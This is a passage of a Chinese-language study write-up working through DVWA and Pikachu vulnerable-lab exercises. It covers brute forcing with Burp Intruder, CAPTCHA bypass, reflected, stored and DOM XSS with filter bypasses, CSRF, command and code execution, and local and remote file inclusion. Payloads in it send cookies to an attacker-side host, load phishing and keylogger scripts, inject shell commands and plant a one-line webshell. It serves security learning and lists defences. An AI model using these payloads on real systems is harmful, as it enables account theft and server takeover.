case 2:
$target = "info.php?id=2";
break;
case 99:
$target = "https://digi.ninja";
break;
}
if ($target != "") {
header ("location: " . $target);
exit;
} else {
?>
Unknown redirect target.
<?php
exit;
}
}

?>
Missing redirect target.

系统不接受页面或 URL 作为重定向目标,而是使用 ID 值来告知重定向页面重定向到的位置。这会将系统限制为只能重定向到它知道的页面,因此攻击者无法修改内容以转到他们选择的页面。

DVWA – Authorisation Bypass

在这里个人理解为越权

Low
源码中啥都没
毫无防备
漏洞复现:
我们换一个权限低的账号直接访问被隐藏的管理源才能访问的页面直接访问到
low越权

medium
源码分析:

<?php
/*

Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities:

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>

在这里只限定了对html页面的访问但我们直接访问数据页面呢
漏洞复现:
中级访问

high
源码分析:

<?php
/*

Only the admin user is allowed to access this page.

Have a look at this file for possible vulnerabilities:

* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>

HTML 页面和用于检索数据的 API 都已被锁定,但是跟新数据我们可以使用一下看看
成功越权

成功越权使用了管理员的更新功能。

DVWA 学习总结

学习完发现还需要学习很多知识才能完全理解漏洞原理,仍需要多复习和巩固,将欠缺的知识继续补充完整。仍有一些关卡没有复现需要查阅资料进行学习。

pikachu靶场的学习

pikachu靶场的学习

pikachu靶场的学习

pikachu介绍

pikachu是一个网络安全学习的靶场,集合了常见web安全的漏洞,很适合初学者进行学习。

pikachu靶场下载链接为:

https://github.com/zhuifengshaonianhanlu/pikachu

pikachu靶场的搭建

首先下载安装phpstudy,从下载链接中下载好pikachu源码,解压到phpstudy的www目录下,完成配置与初始化即可。

安装可参考这篇文章:

https://blog.csdn.net/weixin_42474304/article/details/117533788

pikachu靶场实战练习

暴力破解

简单来说就是尝试不同的用户名和密码来进行尝试去碰撞真是存在的用户和密码,人工尝试是不可能快速的实现,所以要基于工具自动化来帮我们快速猜出账号和密码。暴力破解=连续尝试+字典+自动化。

字典是暴力破解中的重中之重,一本好的字典可以大大提高破解速度:

  • 常用的账号密码(弱口令)
  • 互联网上被脱裤后的账号密码(社工库)
  • 对网站管理者进行信息收集,利用收集的信息实用密码生成工具进行密码字典的生成。

一个网站理论上在攻击者有足够强大的计算能力和时间的前提下都是可以被暴力破解拿到网站的后台管理权限。所以我们对一个web系统存在暴力破解漏洞一般指的是该web系统没有采用或采用了较弱的安全策略,从而导致被暴力破解的可能性高。这里安全策略包括:

  1. 是否要求用户设置复杂的密码

  2. 是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp

  3. 是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等

  4. 是否采用了双因素认证

    ..等等

存在暴力破解漏洞的网站会遭到暴力破解但成功的可能性并不是100%。

暴力破解的流程

  1. 确认是否存在暴力破解漏洞:确认目标是否存在暴力破解的可能性,如抓包观察验证元素和response信息,判断暴力破解可能性。

  2. 对字典的配置:

    根据实际情况对字典配置提高暴破成功率:

    • 根据注册信息进行优化,对目标站点进行注册,搞清账号密码限制,如:用户名密码长度,字母数字组合,按照此要求去除字典中不符合要求的密码
    • 如暴破管理后台,往往网站模板默认的管理员账号(admin、administrator、root)的机率比较大,可以使用这三个账号加密码进行尝试登录,观察返回结果确定用户名

    如:提示用户名密码错误则两项都错,提示密码错误则用户名正确只对密码进行暴破

  3. 自动化工具的使用:

    配置自动化工具(时间、线程、重试次数、ip等),进行自动化操作,常用的工具有burpsuite

基于表单的暴力破解流程和配置工具过程

基于表单暴力破解靶场
测试目标:pikachu靶场的表单暴力破解
测试工具:burpsuite抓包工具(https://portswigger.net/burp/download.html)

进行简单的登录尝试:(会提示用户名和密码不存在)登录失败
登录尝试
在burp抓到的包中我们可以看到是一个post请求
抓取数据包
查看数据包内容
可以在intercept中看到所抓的包的最后一行有用户名a密码为a
响应数据包
正常的响应返回登录失败的页面
选中这条post请求右键并发送到intruder中
发送到intruder中
在选项卡中选中intruder选项,清楚原始数据包中的变量,然后选中用户名和密码点击Add$将其设置为变量
清楚变量
添加变量
在攻击模式选项中(attack type)中有四种模式:

  • Sniper模式逻辑:先将第一个变量也就是用户名替换,第二个变量不动。当第一个变量替换完之后,对第二个变量进行依次替换。直白一点就是说一个变,另外一个不变,第一个变完,变第二个。
  • Battering ram模式逻辑:所有变量进行同时同样的替换。就是说你变我也变,你变什么我也变什么。
  • Pitchfork模式逻辑:所有变量同时替换,但是各自变量替换各自的字典,同时进行,但是互不相干。替换时第一个变量的第一替换值对应第二个变量的第一个替换值,不进行排列组合,就是1对1,2对2。不会将密码进行随机的排列组合。
  • Cluster bomb模式逻辑:与Pitchfork模式逻辑类似,不同点是Cluster bomb模式会进行随机的排列组合。

在这里我们选择Cluster bomb模式进行暴破,在Payloads中配置第一个变量和第二个变量的字典,这里可以手动输入添加,也可以在系统中添加已经写好的字典。
配置
添加字典后进行攻击,根据返回数据包的长度进行判断是否成功。为了方便观察也可以Options选项中的grep-match中删除原有字符串,添加username or password is not exists,burp就会将所有含有此字符串的数据包flag出来。没有被flag出的数据包则是我们破解成功的数据包。点击username or password is not exists进行排序,没有勾选的则表明破解成功,有勾选的则表明破解失败。
攻击结果
用成功破解的用户名:admin 密码:123456登录,login success:
验证

暴力破解之不安全的验证码分析—on client—on server

验证码的作用: 防止登录暴力破解、防止机器恶意注册账号
验证码的认证流程:

  • 客户端请求登录页面后端生成验证码:

    1. 后端使用算法生成图片,并将图片响应给客户端
    2. 同时将算法生成的值全局赋值存到SESSION中
  • 校验验证码:

    1. 客户端将信息和验证码一起提交
    2. 后端对提交的验证码和session中的验证码值比较
  • 客户端刷新页面,生成新的验证码:
    验证码生成的算法中包含随机生成函数,每次刷新重新生成

只在前端验证的验证码(on client)

打开靶场,随便输入用户名和密码,加上正确的验证码,并用burp抓包
登录信息
提示登录失败页面刷新验证码更新
验证码刷新
抓包信息
抓包信息
查看源码可以看到验证码是在前端生成并且验证也在前端
生成和验证验证码
将数据包发送到repeater模块中判断后端是否对验证码进行了校验,修改数据包中验证码的值,点击go可以看到返回的页面只有用户名和密码错误并没有验证码错误的提示
验证是否有后台检验
这可以判定这个验证码的验证方式为前端验证并没有后验证,是通过JavaScript实现的验证码,对于不懂安全的人来说,可以起到一定的防范作用。但对于知道这个原理的人来说形同虚设。然后的操作就和基于表单的流程一样,发送数据包到Intruder中,选用Cluster bomb模式修改变量,因为验证码后台并不校验没有用,所以只用选择用户名与密码。
暴破
配置字典开始暴破,通过长度排序找到正确的用户名和密码
暴破过程
输入用户名密码和正确的验证码登录成功
登录成功
(on-client)这种方式存在的问题:

  • 使用前端js实现验证码(纸老虎)
  • 将验证码在cookie中泄露,容易被获取
  • 将验证码在前端源代码中泄露,容易被获取
在后端校验的验证码(on server)

同样的在靶场中随机输入用户名和密码输入正确的验证码,并抓包
输入信息
登录失败验证码发生变化
验证码变化
将该数据包发送到repeater中修改验证码查看返回页面信息(改为空提示验证码不能为空)
验证码不能为空
随便输入验证码提示验证码错误
验证码错误
经过判断发现后端对验证码进行了判断,这样是否就没有问题了?显然不是这样,从表面上看没有问题,但是我们还需要对验证码是否在后台过期进行进一步验证。首先先点击验证码,获取一个新的验证码,并将其记下来。
获取新验证码
然后将返回数据包中输入正确的验证码点击go,提示用户名和密码不存在
返回数据包
为了验证验证码是否一致有效,我们修改用户名和密码,验证码不变,点击运行,结果一样。说明验证码可以重复利用。
验证码是否可重复利用
将数据包发送到Intruder,设置变量用户名和密码,验证码则输入正确的验证码,不设置变量。输入字典进行破解。
配置字典
长度排序找出正确的用户名和密码
查找用户名密码
登录成功
登录成功

(on-server)这种方式存在的问题:

  • 验证码在后台不过期,导致可以长期被使用
  • 验证码校验不严格,逻辑出现问题
  • 验证码设计的太过简单和有规律,容易被猜解

token防暴破?

Token在计算机身份认证中是令牌(临时)的意思,在词法分析中是标记的意思。一般作为邀请、登录系统使用。
一个token实例

//生成一个token,以当前的时间+一个5位的前缀
function set_token(){
if(isset($_SESSION['token'])){
unset($_SESSION['token']);
}
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}

一般的做法:

  1. 将token以”type=‘hidden’’”的形式输出在表单中
  2. 在提交的认证的时候一起提交,并在后台对其进行校验
    由于其token值输出在了前端源码中,容易被获取,因此也就失去了防暴力破解的意义。一般Token在防止CSRF上会有比较好的功效,具体讲在CSRF漏洞章节进行讲解

暴力破解常见的防范措施

  • 设计安全的验证码(安全的流程+复杂而又可用的图形)
  • 对认证错误的提交进行计数并给出限制,比如连续5次密码错误,锁定2小时
  • 必要的情况下,使用双因素认证

xss(跨站脚本攻击)

  • Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:反射型xss、存储型xss、dom型xss。
  • XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
  • XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
  • XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

xss(窃取cookie)攻击流程

xss流程

xss漏洞分类及攻击流程

xss分为(危害排序): 存储型>反射型>dom型

  1. 存储型xss:持久化代码是存储在服务器中的,如在注册账号个人信息或发表文章、留言版等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
  2. 反射型xss:非持久化存储代码,一次性,所见所得,需要欺骗用户自己去点击链接才能出发攻击(服务器中没有这种页面和内容),一般出现在web页面(查询页面),多用来盗取cookie。
  3. dom型xss:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过 url 传入参数去控制触发的,也是一次性的,其实也属于反射型XSS

xss形成原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

xss的攻击载荷: script、svg、img、body、video、style标签
xss可以插在哪里:

  1. 用户输入作为 script 标签内容
  2. 用户输入作为 html注释内容、标签的属性名和属性值、标签的名字(关键是要闭合标签)
  3. 直接插入到css中
  4. 最重要的是,千万不要引入任何不可信的第三方 JavaScript 到页面里!

xss的攻击流程:

  1. 在目标网站找到输入点如搜索框留言板等
  2. 输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合)
  4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

接口处一般为反射型,留言评论处一般为存储型,由于后台存在过滤构造的script可能过滤掉不生效,或者浏览器限制执行,尽量构造script绕过后台过滤。

反射性xss(get&post)学习

打开对应的靶场,在输入点输入特定的字符串如*;”‘><666*,目的是为了查看是否会对输入的字符串进行过滤、输出、处理。
测试是否处理
查看源码我们发现并没有对字符串处理直接原样输出:
源码
我们输入正确的javascript代码看是否会原样输出:
输入
还没输入完但是输入不了了,原因是对长度进行了限制。这是在前端的安全设置,意义不是很大。兵来将挡水来土掩,在设置中打开web开发者工具,查找输入框语句,修改并扩大输入框限制,并继续输入代码。
扩大限制
输入代码:<script>alert('a')</script>然后点击提交,我们可以看到输入的代码执行了并且出现了xss弹窗。
代码执行
因为是反射性,一次性的,刷新页面之后弹窗消失。这个xss实际上是以get的方式提交的。
get和post 提交方式的区别为get实在url中作为参数提交,在url中可以看到,而post提交是以表单的方式提交在url中看不到。GET方式的XSS漏洞更加容易被利用, 一般利用的方式是将带有跨站脚本的URL伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击。
post方式的靶场和get方式差不多,只不过我们需要先登录才能看到靶场测是的输入点,以post方式在url中看不到提交的参数,我们可通过hackbr查看post方式的参数
post的反射性xss

存储型xss学习

存储型xss与反射型xss形成的原因不同,存储型xss将攻击者的脚本注入到后台数据库中永久化存储,构成更加持久的威胁也被称为永久型xss。
打开存储型的靶场我们在留言板上试着留言666如图所示
留言
可以看到在mysql数据库的pikachu的message表中有相关信息,实现了永久化存储
数据库信息
再次输入一条信息还能显示,确实存储在了后台数据库中
第二次输入信息
按照先前的思路,我们先测试这个留言版中是否存在xss,先输入特殊字符
特殊字符
查看源码并未做特殊处理直接输出
源码
我们输入一个payload,一个弹窗,提交后我们发现出现了弹窗
测试
我们刷新页面发现弹窗仍然存在在后台数据库中也能看到相关payload
永久化
与反射型手法差不多,唯一区别就是永久性和一次性

dom型Xss学习

DOM:通过html Dom和JavaScript可以访问和改变html文档的所有元素,文档对象模型即dom,在浏览器加载网页时会创建这个对象
dom
通过JavaScript可以重构整个html,JavaScript要通过dom这个对象来选择html中的元素来进行修改,可以把dom想象成一个接口。
打开dom型xss我们来进行学习:
我们在输入框中输入一串字符,点击查看效果
输入字符
显示what do you see?可以打开源码查看做了什么
源码
可以看到输入框中输入的能容拼接入一个a标签,判断此处是否有xss漏洞,与之前思路一样。先确认输入点,输入就是input也就是输入框。输出的话DOM是纯前端操作,输出也是前端输出。
代码
红框选中的str即为我们在文本框中输入的字符串,将这句拼接的话拿出来单独分析,利用输入构造一个闭合

<a href='"+str+"'>what do you see?</a>

我们依旧构造一个弹窗在输入框中输入:#' onclick="alert('a')">
构成a标签闭合且加了一个弹窗:<a href='#' onclick="alert('a')">'>what do you see?</a>
点击一下a标签会出现弹窗
测试
有点小瑕疵但可以执行。

dom型xss-x学习

这是一个例外,在输入框输入字符串并提交
输入
同样查看源码,看看是什么操作,
代码
这个的输入实际上是从url中获取的,类似与反射型,我们依旧对a标签进行闭合输入' onclick="alert('xss')">
出现弹窗
点击提交产生了弹窗

xss盲打和原理分析

xss盲打指的是一种攻击场景,就是从前端输入的数据只能在后台看到前端页面不会展示,从前端无法判断是否存在xss。操作方法不管前端页面分返回直接往输入点插xss代码然后等待看看是否可以撞大运获取到信息。由于是后台管理页面,安全考虑不严格登录的时候就会被x。
打开xss盲打进行学习:
盲打
我们在前端输入了xss代码<script>alert('xni')</script>,点击了提交,在前端页面并没有显示,也就是说只能在后台管理页面才可以看到。我们使用管理员账号密码登录后台管理页面看看我们输入的弹窗代码是否会执行
后台登录
输入用户名密码点击登录查看是否有弹窗
出现弹窗
管理员被x到,这种情况就是xss盲打,对攻击者来说只是尝试的输入,并不知道后台是否被输出,只是尝试的输入跨站脚本。管理员被x到,攻击者成功。这种危害比较大,如果在前端输入一段盗取cookie的脚本,管理员一登陆,管理员的cookie就会被获取。攻击者就可以伪装管理员登陆后台,后台的权限就大了。

xss的绕过和过滤(filter&htmlspecialchars)

xss绕过-过滤-转换

  • 前端限制绕过,直接抓包重放,或者修改前端html代码
  • 大小写,如: <SCRIPT> aLeRT(111)</sCRIpt>
  • 拼凑:<scri<script> pt> alert(111)</scri</script> pt>
  • 使用注释进行干扰:<scri<!--....--> pt> alert(111)</sc <--test--> ript>
  • xss绕过-过滤-编码*
    核心思路:后台过滤了特殊字符比如<script>标签,但该标签可以被各种编码,后端不一定会过滤,当浏览器对改编码进行识别时会正常翻译从而执行,在使用编码时需注意编码在输出点是否会被正常识别和翻译
    例子:< img src=x onerror=”alert( xss )"将alert( xss )进行url编码可以执行吗?
<img src=x onerror= " alert%28%27xss%27%29" />

不可以,因为标签属性不会正常解析这些编码
例子:使用事件属性onxx();

<img src=x onerror=" alert('xss')" />

可以把alert(“xss )进行html编码,可以执行.事件标签里面并不会执行标签里面的代码。
XSS绕过的姿势有很多取决于你的思路和对前端技术的掌握程度
打开xss之过滤我们随意输入字符串:<script>;'#@
xss过滤
查看源码发现我们输入的字符串中scrpit标签被过滤了
源码
尝试大小写绕过<scRIPt>alert(666)</ScrIpt>
成功
成功弹窗,也可以换别的标签<img src=x onerror="alert(666)">绕过
弹窗
成功弹窗
XSS绕过关于htmlspecialchars()函数
htmlspecialchars()函数把预定义的字符转换为HTML实体,预定义的字符是

&(和号)成为&
“(双引号)成为”
‘(单引号)成为’
<(小于)成为<
‘>’(大于)成为>

可用的引号类型

ENT_ COMPAT -默认。仅编码双引号。
ENT QUOTES -编码双引号和单引号。
ENT NOQUOTES -不编码任何引号。

打开xss之htmlspecialchars输入字符串66666’“<>#$%查看返回页面信息和源码
输入字符串
提交后查看页面源码
<a href="66666’“<>#$%">66666’“&lt;&gt;#$%</a>
可以发现除了单引号其他特殊字符都进行了特殊编码,可以构造q' onclick='alert(666)'对前边的单引号闭合,点击提交然后点击记录出现弹窗
弹窗

XSS输出在href和js中的案例分析
打开xss之herf,输入Javascript:alert(666),不含有特殊字符
测试
打开源码查看

<a href="Javascript:alert(666)"> 阁下自己输入的url还请自己点一下吧</a>

在a标签的herf中,我们返回页面点击返回的蓝色字体
点击蓝字
alert被执行,出现弹窗。在这里我们可以做出相应防范,只允许http,https,其次在进行htmlspecialchars处理。
打开xss之js,我们随意输入然后查看页内原码。
源码
我们输入tmac
tmac
我们尝试造成闭合输入x'</script><script>alert('xss')</script>先将前面的script闭合再插入我们自己的语句
造成闭合
出现弹窗,查看代码可以看到确实闭合了
代码闭合

xss危害:获取cookie的原理和危害

get型xss的利用(将恶意代码装到url中发送给用户用户访问后盗取信息):
首先我们需要打开皮卡丘靶场的xss后台进行登录查看收集的数据
xss后台
可以看到cookie数据为空
然后打开反射型xss的get型,首先我们先解决字符长度,然后我们写入一个比较复杂的payload,目的是获取本地cookie发送给xss后台

payload为:<script>document.location = 'http://xss平台的ip/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

这里的payload需要自己修改一下这个文件文件,这里是在虚拟机里边搭建的,都改成虚拟机的IP地址即可,这里需要注意文件路径
文件修改
配置好后将payload输入靶场进行演示
步骤

post型xss利用:
输入账号密码登录,页面跳转,输入字符,不难发现并没有在url中提交参数。
参数
可以打开hackbar来查看提交的参数使用message来传递的
post参数
message是通过请求体返回,通过post方式传到后台。这样的话是不能把恶意代码嵌入url中。
POST型XSS获取cookie原理(将伪造的页面链接发送给用户)
post型原理
需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。
post型演示:
演示之前首先要修改这个文件
修改
演示:
演示
可以看到成功获取到cookie

xss危害-XSS进行钓鱼的原理和演示

钓鱼的思路(存储型xss,存储到服务器然后用户输)
思路
攻击者制作一个钓鱼登录页面,人后通过存储型xss漏洞将页面展示到网站中,用户防护意识不强的话将账号密码填入发送,钓鱼成功
演示:
首先需要修改文件
修改文件
演示打开钓鱼后台,打开存储型xss,输入

<script src="http://192.168.23.128/pikachu/pkxss/xfish/fish.php"></script>

(这里的src中的网址问xss平台的网址)页面会出现弹窗,输入账号密码。当页面刷新时依然存在弹窗,所有访问者都会遇到弹窗,输入账号密码后,数据被存入后台,打开xss后台即可查看钓鱼数据
演示

XSS危害XSS获取键盘记录原理和演示

首先要理解跨域
跨域
当协议、主机(主域名,子域名)、端口中的任意一一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
跨域同源策略 为了安全考虑,所有的浏览器都约定了同源策略, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。如果想要跨域操作,则需要管理员进行特殊的配置。比如通过: header( “Access -Control Allow- Origin:x.com” )指定。
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
tips
演示之前需要修改文件
修改
演示:
打开存储型xss,我们输入payload来加载xss平台的js代码插入到页面

<script src="http://192.168.23.128/pikachu/pkxss/rkeypress/rk.js"></script>

演示

解决跨域请求页面问题
跨域
修改页面重启服务清空浏览器缓存,重新输入查看键盘记录
成功记录

XSS常见防范措施

总的原则:输入做过滤,输出做转义:

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
  • 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行htm|实体转义,输入到JS里面的进行js转义。

CSRF(跨站请求伪造漏洞)

csrf漏洞概述

cross-site request forgery(csrf跨站请求伪造)。在csrf攻击中,攻击者会伪造一个请求(一般是一个链接),欺骗用户点击,用户一旦点击整个攻击就完成了,所以也叫one click攻击。
例子:A用户在某网站的信息修改页面修改完信息点击提交即可修改成功,修改的链接地址为:http://#/csrf_mem_ edit.php?sex= 女&phonenum= 12345678922&add=地球村504号&email=lucy@pi ka’ chu.com&submit=submit
这时攻击者B想修改A的用户信息如何完成?必须需要有A的权限,修改个人信息的请求
攻击者B注册该网站抓包获取到修改信息的请求,然后伪造一个请求地址为http://#/csrf mem. edit.php?sex=女&phonenum= 13856564455&add=火星村111号&email=lucy@pikachu.com&tsubmit=submit引诱A在登录的情况下点击,此时攻击就完成了。
攻击成功的条件

  1. 网站对个人信息修改的请求没有做csrf处理,导致该请求容易伪造。因此在判断一个网站是否存在csrf漏洞其实就是判断其对关键信息的操作(增删改)是否易伪造
  2. A要登录的情况下点击伪造请求,若未登录或没有点击伪造请求链接则攻击不会成功

csrf和xss的区别

  • 如果攻击者B在网页中发现了xss漏洞他的做法是:
  1. 欺骗A访问埋伏了xss脚本(盗取cookie信息的脚本)的页面
  2. A中招,B获取到A的cookie
  3. B顺利登录到A的后台进行修改
  • csrf是借用用户权限完成攻击,攻击者并没有获取到用户权限,而xss是直接获取到用户权限进行破坏。

如何确认一个web系统是否存在csrf漏洞:

  1. 对目标网站增删改的地方进行标记观察逻辑判断请求是否可以被伪造

    • 如修改管理员账号时不需要验证旧的密码容易导致请求伪造
    • 如对敏感信息修改并没有使用安全的token验证导致请求容易被伪造
  2. 确认凭证的有效期(这个问题会提高csrf被利用的概率)
    虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变的简单。

scrf(get/post)演示和解析

csrfget:
打开靶场的csrfget,我们假设是lucy登录网站修改信息
登录
修改信息
我们修改信息并抓包查看数据
数据包
这是我们的请求:GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=usaccca&email=lucy%40pikachu.com&submit=submit 在这里并没有看到csrf的token说明并没有防csrf的措施
我们修改请求,将地址修改为shanxi的请求如下

http://192.168.23.128/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=shanxi&email=lucy%40pikachu.com&submit=submit

现在只需要将这个地址通过聊天或者信息的方式发送给lucy,lucy进行访问,信息的地址就会更新成shanxi
地址更新

post型因为是请求体,不能在url中携带参数所以需要和xss的post型类似需要自己弄一个站点做一个表单让lucy点击访问我们恶意站点表单页面,向页面提交post请求
post演示
抓包查看参数信息
然后我们在服务自己搭建的服务器上搭建一个表单以post方式提交的页面
页面
我们构造一个链接:http://192.168.23.128/pikachu/vul/csrf/post.html将他发送给lili,在lili登录的情况下点击了该链接攻击完成
攻击完成
可以看到信息被修改了

反csrf token

csrf的主要问题是敏感操作的链接容易被伪造,只要每次请求都加上一个随机号码(够随机,难伪造)后端每次对这个号码进行检验,这个随机号码就是token,生成token的代码如下
代码

常见CSRF防范措施

  • 增加token验证(常用的做法):
  1. 对关键操作增加token参数,token值必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用) :
  1. 不要在客户端端保存敏感信息(比如身份认证信息)
  2. 测试直接关闭,退出时的会话过期机制
  3. 设置会话过期机制,比如15分钟内无操作,则自动登录超时
  • 访问控制安全管理
  1. 敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码
  2. 敏感信息的修改使用post,而不是get
  3. 通过http头部中的referer来限制原页面
  • 增加验证码:一般用在登录(防暴力破解) ,也可以用在其他重要信息操作的表单中(需要考虑可用性)

REC(代码/命令执行)

remote command/code execute(REC)概述:rec漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或代码直接控制后台系统。
远程系统命令执行:一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作接口,如常见的路由器、防火请、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。现在很多企业都开始实施自动化运维,大量的系统操作会通过自动化运维平台进行操作, 在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
打开pikachu靶场exec “ping”我们来尝试一下输入127.0.0.1点击ping
尝试
可以看到出现了命令结果,但结果有乱码
后端代码
如果后端没有做严格的过滤我们就可以拼接其他命令进行操作,如输入127.0.0.1 & ipconfig点击ping就可以看到提交目标的IP了,也可以拼接一些其他命令进行尝试
利用

远程代码执行命令
打开pikachu的exec “evel”进行尝试:这个更简单随意输入字符串,返回文字。eval(输入)也就是执行任何我们输入的命令如phpinfo();
后端代码
成功执行
这里学习一个php函数system(“”)执行外部程序并显示输出。
如输入system(“ipconfig”);点击提交成功返回目标IP
尝试system函数

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法

file inclusion(文件包含漏洞)

文件包含原理以及本地文件包含漏洞

文件包含漏洞概述
在web开发时程序员为了让提高效率然代码重复利用率提高,使代码看起啦更简洁,会使用“包含’的函数功能。如:把一些列公用的函数写到function.php中,当其他文件需要相关函数时只需要将function.php在文件头部包含就可以调用相关函数了。但有时因网站功能需求,会让前端用户选择需要包含的文件或者在前端的功能中使用了”包含”功能,又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。这种情况我们称为”文件包含漏洞”
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
文件包含漏洞分为两种本地文件包含漏洞和远程文件包含漏洞
文件包含的两种形式
本地文件包含:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
在php中可以使用include()或者require()语句包含文件,将一个php文件内容出入到另一个php文件中(在服务器执行它之前)还有include_once()和require_once()函数也可以进行文件包含
include和require语句相同除了错误处理方面:
require会生成致命错误( E_ COMPILE ERROR )并停止脚本
include只生成警告( E WARNING ) ,并且脚本会继续运行

文件包含演示
演示

本地文件包含漏洞

打开pikachu靶场的fileinclude本地文件包含,点击下拉列表选择一个提交查询
查看地址
可以看到地址栏显示的是一个文件file5.php按照设计这些文件都是后台自己存在的文件。但是由于这个文件名是前端传向后台的,也就意味着我们可以修改这个文件。我们可以猜测一下后台的操作系统是win11,其中有很多固定的配置文件例如…/…/…/…/…/…/可以多敲几个,最后都会跳到根目录。我们将文件名替换../../../../Windows/System32/drivers/etc/hosts可以看到hosts文件的内容在前端显示了
包含hosts文件

远程文件包含漏洞演示

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的incldue和require ,则需要php.ini配置如下:
allow_url_fopen=on//默认打开
Allow_url_include=on//默认关闭
配置
写入一句话木马危害很大
配置好后我们打开靶场,点击一个文件提交
远程文件包含
地址特殊处
看地址栏观察url实际上是提交一个目标文件路径,我们改成一个远端的路径,读取远程文件

http://192.168.23.128/pikachu/test/yijuhua.txt

访问
将靶场链接中的文件替换成远端链接文件(黑客搭建的服务器)修改后的链接如下

http://192.168.23.128/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.23.128/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4

我们粘帖访问
访问
会在服务器端的本地当前目录生成一个yijuhua.php传参为x
我们访问http://192.168.23.128/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig这个链接就能成功获取到信息
信息
也可以直接用哥斯拉、冰蝎、中国菜刀等工具直接链接一句话木马拿权限
文件包含的防护在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤

  • 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
  • 过滤各种./. ,http://https://
  • 配置php.ini配置文件:
allow_url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //魔术引用将单引号反斜杠双引号null字符转义
  • 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止

Unsafe file downloads(不安全的文件下载漏洞)

很多网站提供文件下载功能,即用户可以通过点击下载链接下载对应文件。但文件下载功能设计的不合理则可能导致攻击者通过构造文件路径从而获取到后台服务器上的其他敏感文件(任意文件下载)
打开靶场的不安全的文件下载,正常功能点击球员名字就可以下载图片
下载
下载图片
